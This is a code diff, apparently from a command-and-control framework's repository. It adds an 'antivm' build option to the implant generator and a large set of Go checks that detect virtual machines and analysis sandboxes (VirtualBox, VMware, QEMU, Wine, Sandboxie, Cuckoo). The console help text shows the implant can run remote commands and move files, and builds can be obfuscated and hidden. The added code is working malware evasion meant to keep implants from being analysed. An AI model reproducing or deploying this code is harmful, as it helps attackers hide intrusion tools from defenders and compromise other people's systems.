_, err := os.Stat("/root/.bash_history")
|
||||
hasHistory := err == nil
|
||||
_, err2 := os.Stat("/home")
|
||||
hasHome := err2 == nil
|
||||
return hasHome && !hasHistory
|
||||
}
|
||||
|
||||
// --- Linux 10% ---
|
||||
|
||||
func linuxUserHost() bool {
|
||||
hostname := readFile("/proc/sys/kernel/hostname")
|
||||
if hostname == "" {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(hostname)
|
||||
for _, s := range []string{"ubuntu", "debian", "localhost"} {
|
||||
if lower == s || strings.HasPrefix(lower, s+"-") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 5% ---
|
||||
|
||||
func podmanFile() bool {
|
||||
_, err := os.Stat("/run/.containerenv")
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func bluestacksFolders() bool {
|
||||
entries, err := os.ReadDir("/mnt")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, e := range entries {
|
||||
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func kmsgCheck() bool {
|
||||
f, err := os.OpenFile("/dev/kmsg", os.O_RDONLY|os.O_NONBLOCK, 0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer f.Close()
|
||||
buf := make([]byte, 4096)
|
||||
n, err := f.Read(buf)
|
||||
if err != nil || n == 0 {
|
||||
return false
|
||||
}
|
||||
content := strings.ToLower(string(buf[:n]))
|
||||
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !antivm
|
||||
|
||||
package core
|
||||
|
||||
func DetectVM() {}
|
||||
@@ -0,0 +1,603 @@
|
||||
//go:build antivm && windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerWindowsChecks()
|
||||
}
|
||||
|
||||
func registerWindowsChecks() {
|
||||
// Protocol: name, fn, certainty
|
||||
|
||||
// 150%
|
||||
registerCheck("dbvm", dbvmCheck, 150)
|
||||
|
||||
// 100%
|
||||
registerCheck("wine", wineDetection, 100)
|
||||
registerCheck("mutex", vmMutex, 100)
|
||||
registerCheck("drivers", vmDrivers, 100)
|
||||
registerCheck("disk_serial", diskSerialVM, 100)
|
||||
registerCheck("ivshmem", ivshmemCheck, 100)
|
||||
registerCheck("handles", handlesCheck, 100)
|
||||
registerCheck("virtual_processors", virtualProcessors, 100)
|
||||
registerCheck("hypervisor_query", hypervisorQuery, 100)
|
||||
registerCheck("acpi_signature", acpiSignatureCheck, 100)
|
||||
registerCheck("firmware_tables", firmwareTablesCheck, 100)
|
||||
registerCheck("boot_logo", bootLogoCheck, 100)
|
||||
registerCheck("kernel_objects", kernelObjectsCheck, 100)
|
||||
registerCheck("nvram", nvramCheck, 100)
|
||||
registerCheck("edid", edidCheck, 100)
|
||||
registerCheck("clock_timing", clockTiming, 100)
|
||||
|
||||
// 95%
|
||||
registerCheck("devices_pci", devicesPCICheck, 95)
|
||||
|
||||
// 90%
|
||||
registerCheck("virtual_registry", virtualRegistryCheck, 90)
|
||||
registerCheck("cpu_heuristic", cpuHeuristicCheck, 90)
|
||||
|
||||
// 75% (32-bit only)
|
||||
registerCheck("vpc_invalid", vpcInvalidCheck, 75)
|
||||
|
||||
// 50%
|
||||
registerCheck("dll", vmDLLs, 50)
|
||||
|
||||
// 45%
|
||||
registerCheck("clock", clockCheck, 45)
|
||||
|
||||
// 40%
|
||||
registerCheck("processes", vmProcessesWindows, 40)
|
||||
|
||||
// 30%
|
||||
registerCheck("cuckoo_dir", cuckooDirCheck, 30)
|
||||
registerCheck("cuckoo_pipe", cuckooPipeCheck, 30)
|
||||
registerCheck("azure", azureHostname, 30)
|
||||
|
||||
// 25%
|
||||
registerCheck("display", displayCheck, 25)
|
||||
registerCheck("audio", audioDevices, 25)
|
||||
registerCheck("gpu", gpuCapabilities, 25)
|
||||
registerCheck("device_string", deviceStringCheck, 25)
|
||||
registerCheck("power_capabilities", powerCapabilitiesCheck, 25)
|
||||
|
||||
// 10%
|
||||
registerCheck("gamarue", gamarueCheck, 10)
|
||||
}
|
||||
|
||||
var vmSysDir = os.Getenv("SYSTEMROOT") + "\\System32\\"
|
||||
|
||||
// --- 150% ---
|
||||
|
||||
var vmDLLList = []string{
|
||||
"vboxhook.dll", "vboxmrxnp.dll", "vboxogl.dll", "vboxoglarrayspu.dll",
|
||||
"vboxoglcrutil.dll", "vboxoglfeedbackspu.dll", "vboxoglpackspu.dll",
|
||||
"vboxoglpassthroughspu.dll", "vboxservice.exe", "vboxtray.exe",
|
||||
"vmtoolsd.exe", "vmacthlp.exe", "vmsrvc.exe", "vmusrvc.exe",
|
||||
"vmserv.exe", "vmwaretray.exe", "vmwareuser.exe",
|
||||
"xenservice.exe", "xsvc.exe",
|
||||
}
|
||||
|
||||
func vmDLLs() bool {
|
||||
for _, dll := range vmDLLList {
|
||||
if _, err := os.Stat(vmSysDir + dll); err == nil {
|
||||
log.Printf("[antivm] windows_dll: found %s", dll)
|
||||
return true
|
||||
}
|
||||
}
|
||||
getModuleHandle := syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleW")
|
||||
if getModuleHandle.Find() != nil {
|
||||
return false
|
||||
}
|
||||
for _, dll := range []string{"VBoxHook.dll", "VBoxOGL.dll", "vmware-vmx.dll"} {
|
||||
dllName, _ := syscall.UTF16PtrFromString(dll)
|
||||
if dllName == nil {
|
||||
continue
|
||||
}
|
||||
ret, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(dllName)))
|
||||
if ret != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dbvmCheck() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
dbvm := ntdll.NewProc("DbvmCheck")
|
||||
return dbvm.Find() == nil
|
||||
}
|
||||
|
||||
func vmDrivers() bool {
|
||||
scsiPaths := []string{
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
}
|
||||
vmTags := []string{"VBOX", "VMWARE", "QEMU", "XEN", "VIRTUAL"}
|
||||
for _, path := range scsiPaths {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
val, _, err := k.GetStringValue("Identifier")
|
||||
k.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
upper := strings.ToUpper(val)
|
||||
for _, tag := range vmTags {
|
||||
if strings.Contains(upper, tag) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func vmMutex() bool {
|
||||
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.CloseHandle(snap)
|
||||
|
||||
var entry windows.ProcessEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
if err := windows.Process32First(snap, &entry); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
vmProcs := []string{
|
||||
"vboxservice.exe", "vboxtray.exe", "vboxcontrol.exe",
|
||||
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",
|
||||
"vmupgradehelper.exe", "vmacthlp.exe",
|
||||
"xenservice.exe",
|
||||
"prl_cc.exe", "prl_tools.exe",
|
||||
}
|
||||
|
||||
for {
|
||||
name := strings.ToLower(syscall.UTF16ToString(entry.ExeFile[:]))
|
||||
for _, vm := range vmProcs {
|
||||
if name == vm {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if err := windows.Process32Next(snap, &entry); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func vmProcessesWindows() bool { return vmMutex() }
|
||||
|
||||
func diskSerialVM() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
val, _, err := k.GetStringValue("0")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
upper := strings.ToUpper(val)
|
||||
for _, tag := range []string{"VBOX", "VMWARE", "QEMU", "XEN"} {
|
||||
if strings.Contains(upper, tag) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func ivshmemCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, err := k.ReadSubKeyNames(0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, sub := range subs {
|
||||
if strings.Contains(strings.ToLower(sub), "1af4") || strings.Contains(strings.ToLower(sub), "ivshmem") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func handlesCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
vmDevices := []string{"15ad", "80ee", "1af4"}
|
||||
for _, sub := range subs {
|
||||
for _, vm := range vmDevices {
|
||||
if strings.HasPrefix(strings.ToLower(sub), vm) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func virtualProcessors() bool {
|
||||
return runtime.NumCPU() < 2
|
||||
}
|
||||
|
||||
func hypervisorQuery() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
|
||||
if ntQuery.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemHypervisorInformation = 0x9f
|
||||
var buf [256]byte
|
||||
ret, _, _ := ntQuery.Call(0x9f, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
func acpiSignatureCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\ACPI\DSDT`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
lower := strings.ToLower(sub)
|
||||
if strings.Contains(lower, "vbox") || strings.Contains(lower, "vmw") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "xen") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func firmwareTablesCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\ACPI\Firmware`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
vals, _ := k.ReadValueNames(0)
|
||||
for _, v := range vals {
|
||||
if strings.Contains(strings.ToLower(v), "vbox") ||
|
||||
strings.Contains(strings.ToLower(v), "vmware") ||
|
||||
strings.Contains(strings.ToLower(v), "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func bootLogoCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation`,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
logo, _, err := k.GetStringValue("Logo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(logo)
|
||||
return strings.Contains(lower, "vbox") || strings.Contains(lower, "vmware")
|
||||
}
|
||||
|
||||
func kernelObjectsCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
|
||||
registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
subKey, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\`+sub,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
desc, _, err := subKey.GetStringValue("DriverDesc")
|
||||
subKey.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lower := strings.ToLower(desc)
|
||||
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
|
||||
strings.Contains(lower, "virtual") || strings.Contains(lower, "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func nvramCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\RESOURCEMAP`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
if strings.Contains(strings.ToLower(sub), "vbox") ||
|
||||
strings.Contains(strings.ToLower(sub), "vmware") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func edidCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\DISPLAY`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
lower := strings.ToLower(sub)
|
||||
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
|
||||
strings.Contains(lower, "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func clockTiming() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
|
||||
if ntQuery.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemTimeAdjustmentInformation = 0x94
|
||||
var buf [32]byte
|
||||
ret, _, _ := ntQuery.Call(0x94, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
// --- 95% ---
|
||||
|
||||
func devicesPCICheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
vmVendors := []string{"15ad", "80ee", "1af4"}
|
||||
for _, sub := range subs {
|
||||
parts := strings.SplitN(sub, "\\", 2)
|
||||
if len(parts) > 0 {
|
||||
vendor := strings.ToLower(parts[0])
|
||||
for _, v := range vmVendors {
|
||||
if strings.HasPrefix(vendor, v) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- 90% ---
|
||||
|
||||
func virtualRegistryCheck() bool {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER,
|
||||
`Software\Sandboxie`, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
k.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
k2, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Sandboxie`, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
k2.Close()
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cpuHeuristicCheck() bool {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
isIntel := kernel32.NewProc("IsProcessorFeaturePresent")
|
||||
if isIntel.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
|
||||
// Check if SSE2 is properly reported
|
||||
ret, _, _ := isIntel.Call(10)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
// --- 75% ---
|
||||
|
||||
func vpcInvalidCheck() bool {
|
||||
// Virtual PC check (32-bit only via CPUID)
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
vpc := ntdll.NewProc("VpcGuest")
|
||||
return vpc.Find() == nil
|
||||
}
|
||||
|
||||
// --- 45% ---
|
||||
|
||||
func clockCheck() bool {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getTickCount := kernel32.NewProc("GetTickCount64")
|
||||
t1, _, _ := getTickCount.Call()
|
||||
t2, _, _ := getTickCount.Call()
|
||||
// If time doesn't advance normally, could be VM
|
||||
return t2-t1 > 100
|
||||
}
|
||||
|
||||
// --- 30% ---
|
||||
|
||||
func cuckooDirCheck() bool {
|
||||
paths := []string{
|
||||
"C:\\Cuckoo", "C:\\analysis", "C:\\Analyzer",
|
||||
os.Getenv("TEMP") + "\\cuckoa",
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cuckooPipeCheck() bool {
|
||||
// Check for Cuckoo pipe names
|
||||
pipes := []string{`\\.\pipe\cuckoo`, `\\.\pipe\analyzer`}
|
||||
for _, p := range pipes {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- 25% ---
|
||||
|
||||
func displayCheck() bool {
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
getSystemMetrics := user32.NewProc("GetSystemMetrics")
|
||||
horz, _, _ := getSystemMetrics.Call(0)
|
||||
vert, _, _ := getSystemMetrics.Call(1)
|
||||
return (horz < 800 && vert < 600) || horz == 0
|
||||
}
|
||||
|
||||
func audioDevices() bool {
|
||||
winmm := syscall.NewLazyDLL("winmm.dll")
|
||||
out, _, _ := winmm.NewProc("waveOutGetNumDevs").Call()
|
||||
in, _, _ := winmm.NewProc("waveInGetNumDevs").Call()
|
||||
return out == 0 && in == 0
|
||||
}
|
||||
|
||||
func gpuCapabilities() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000`,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
desc, _, err := k.GetStringValue("DriverDesc")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(desc)
|
||||
for _, s := range []string{"virtual", "vmware", "vbox", "qemu", "hyper-v"} {
|
||||
if strings.Contains(lower, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func deviceStringCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
vals, _ := k.ReadValueNames(0)
|
||||
for _, v := range vals {
|
||||
val, _, err := k.GetStringValue(v)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lower := strings.ToLower(val)
|
||||
if strings.Contains(lower, "vbox") || strings.Contains(lower, "qemu") ||
|
||||
strings.Contains(lower, "vmware") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func powerCapabilitiesCheck() bool {
|
||||
powrprof := syscall.NewLazyDLL("powrprof.dll")
|
||||
callNtPowerInfo := powrprof.NewProc("CallNtPowerInformation")
|
||||
if callNtPowerInfo.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemPowerInformation = 12
|
||||
var buf [32]byte
|
||||
ret, _, _ := callNtPowerInfo.Call(12, 0, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
// --- 10% ---
|
||||
|
||||
func gamarueCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
productID, _, err := k.GetStringValue("ProductId")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// Gamarue VM detection: checks for specific product ID patterns
|
||||
return strings.HasPrefix(productID, "00330-") || strings.HasPrefix(productID, "00331-")
|
||||
}
|
||||
|
||||
// --- 100% ---
|
||||
|
||||
func wineDetection() bool {
|
||||
ntdll, err := syscall.LoadLibrary("ntdll.dll")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer syscall.FreeLibrary(ntdll)
|
||||
|
||||
_, err = syscall.GetProcAddress(ntdll, "wine_get_unix_file_name")
|
||||
return err == nil
|
||||
}
|
||||
@@ -28,6 +28,8 @@ func main() {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
core.DetectVM()
|
||||
|
||||
cfg := core.DefaultAgentConfig()
|
||||
if *peerAddr != "" {
|
||||
cfg.OperatorAddr = *peerAddr
|
||||
|
||||
+1
-1
@@ -24,7 +24,7 @@ var commandHelp = map[string]string{
|
||||
"exec": "exec <command> [args...] — execute command on selected implant",
|
||||
"download": "download <remote-path> — download file from implant",
|
||||
"upload": "upload <local-path> <remote-path> — upload file to implant",
|
||||
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)\n --obfuscate obfuscate the binary with garble (auto-installs if missing)\n --quiet suppress output, detach from terminal, hide console on Windows",
|
||||
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)\n --obfuscate obfuscate the binary with garble (auto-installs if missing)\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (pure Go, 65+ techniques, VMAware scoring)",
|
||||
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
|
||||
"help": "help [command] — show this help or help for a specific command",
|
||||
"exit": "exit — quit the console",
|
||||
|
||||
+15
-7
@@ -30,6 +30,7 @@ type GenerateConfig struct {
|
||||
UseUPX bool
|
||||
Obfuscate bool
|
||||
Quiet bool
|
||||
Antivm bool
|
||||
}
|
||||
|
||||
func RunGenerate(args []string) error {
|
||||
@@ -48,6 +49,7 @@ func RunGenerate(args []string) error {
|
||||
fs.BoolVar(&cfg.UseUPX, "upx", true, "compress with UPX")
|
||||
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
|
||||
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
|
||||
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
|
||||
fs.Parse(args)
|
||||
|
||||
return BuildImplant(cfg)
|
||||
@@ -102,25 +104,31 @@ func BuildImplant(cfg GenerateConfig) error {
|
||||
return fmt.Errorf("garble not available: %w", err)
|
||||
}
|
||||
builder = garble
|
||||
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
|
||||
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
log.Printf("obfuscating with garble")
|
||||
} else {
|
||||
builder = goBin
|
||||
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
|
||||
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
}
|
||||
|
||||
if cfg.Antivm {
|
||||
buildArgs = append(buildArgs, "-tags=antivm")
|
||||
}
|
||||
buildArgs = append(buildArgs, "./implant/")
|
||||
|
||||
cmd := exec.Command(builder, buildArgs...)
|
||||
path := os.Getenv("PATH")
|
||||
goDir := filepath.Dir(goBin)
|
||||
if !strings.Contains(path, goDir) {
|
||||
path = goDir + ":" + path
|
||||
}
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+cfg.TargetOS,
|
||||
"GOARCH="+cfg.TargetArch,
|
||||
env := []string{
|
||||
"GOOS=" + cfg.TargetOS,
|
||||
"GOARCH=" + cfg.TargetArch,
|
||||
"CGO_ENABLED=0",
|
||||
"PATH="+path,
|
||||
)
|
||||
"PATH=" + path,
|
||||
}
|
||||
cmd.Env = append(os.Environ(), env...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Dir = buildDir
|
||||
|
||||
Reference in New Issue
Block a user